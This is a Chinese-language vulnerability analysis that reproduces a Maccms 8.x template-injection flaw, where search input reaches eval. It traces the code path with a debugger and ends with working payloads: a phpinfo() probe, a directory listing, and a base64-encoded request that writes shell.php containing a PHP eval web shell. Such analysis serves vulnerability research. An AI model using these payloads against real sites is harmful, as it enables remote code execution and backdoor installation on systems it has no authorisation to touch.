前言
復現源碼地址:https://github.com/yaofeifly/Maccms8.x
調試中xdebug突然自動停止,添加下httpd.conf中的FcgidIOTimeout
復現
exp:
url:localhost/maccms8/?m=vod-search post:wd={if-A:phpinfo()}{endif-A}
執行如下
phpstorm從頭跟蹤調試
從這里開始F7單步跟進調試,由於$tmp是在template.php中定義的一個AppTpl對象,應該是用模板解析的,從payload中也可以看出來跟模板解析有關系
跟進到template.php中
發現直接用eval執行了字符串了,進行了一次if判斷,而$strif變量此時傳值為phpinfo(),導致執行phpinfo()
調試分析
正向分析,從payload開始到利用的過程
首先抓包一個正常的搜索請求,wd為搜索的參數
從請求返回的結果來看有模板解析的過程,將傳入的參數數值插入到了模板文件中
在index.php 34行下個斷點跟進下查看
經過自定義的be函數,跟蹤發現是調用addslashes轉義特殊符號,轉義獲取到了wd參數值賦值給$wd變量,然后傳值給P["wd"]
繼續跟進發現加載了模板文件然后賦值給實例化類AppTpl的對象tpl的H屬性,通過mark函數正則替換了部分變量內容
繼續調試跟進,發現在188行,又進行了一次正則替換,將{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}'等替換成P數組中保存的鍵值
這時已經將我們控制輸入的wd參數值插入到了模板文件中,繼續往下調試,進入ifex方法
調試跟進ifex方法,由於模板文件中還有很多類似{if}這樣的變量,該方法應該是解釋變量的,要再次替換一遍才能輸出到前台
第855行有個正則匹配,正則模式實際是'/{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}/is',匹配變量的H屬性(模板解析文件)然后存入$iar變量中,$iar是一個二維數組,由於我們輸入的payload是這樣的
{if-A:phpinfo()}{endif-A}
因此phpinfo()會被第二個括號中的模式([\s\S]+?)匹配,存在數組中的第三個(鍵1是匹配的全部)
可以看到模板文件中大概有這樣的需要解析的變量有130多處
繼續跟進開始一個以匹配上面的字符的次數來循環的,應該是循環遍歷來解析替換變量的,這里跟進下asp2phpif函數,發現只是個替換函數,對$strif沒有什么影響,然后循環取數組中的第三個鍵值數組中的鍵值,也就是上述正則中的第二個匹配。這時候就將匹配的phpinfo()字符串傳入$strif變量
繼續跟進,經過幾個判斷語句進入到漏洞點eval利用階段,直接將$strif變量拼接到了字符串中然后eval將該字符串作為php代碼執行
if(phpinfo()){\$ifFlag=true;}else{\$ifFlag=false;}
因此導致了命令執行漏洞
命令執行
如何要寫入一個shell呢,我們只要控制它第二個子匹配獲取到的是我們控制的惡意代碼,並且繞過幾個過濾替換的坑就好
{if-A:EXP}{endif-A}
由於不能帶單引號,會被直接轉義,於是嘗試構造命令,先去讀當前目錄,結果被and被替換了,都忘記這個了。
wd={if-A:var_dump(scandir(pos(localeconv())))}{endif-A}
網上的getshell基本都是通過base64編碼寫入,沒有引號並不會報錯,只是有一個notice,仍然可以使用,是因為被隱性作為常量對待了嘛,不是太懂PHP的細枝末節的東西,知道的師傅煩請告訴我下
通過base64編碼構造shell並且寫入
wd={if-A:fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeXVueWluZ10pOw))}{endif-A}
第一輪循環后成功寫入shell.php
參考文章:
https://blog.csdn.net/CSDNPM250/article/details/104717372/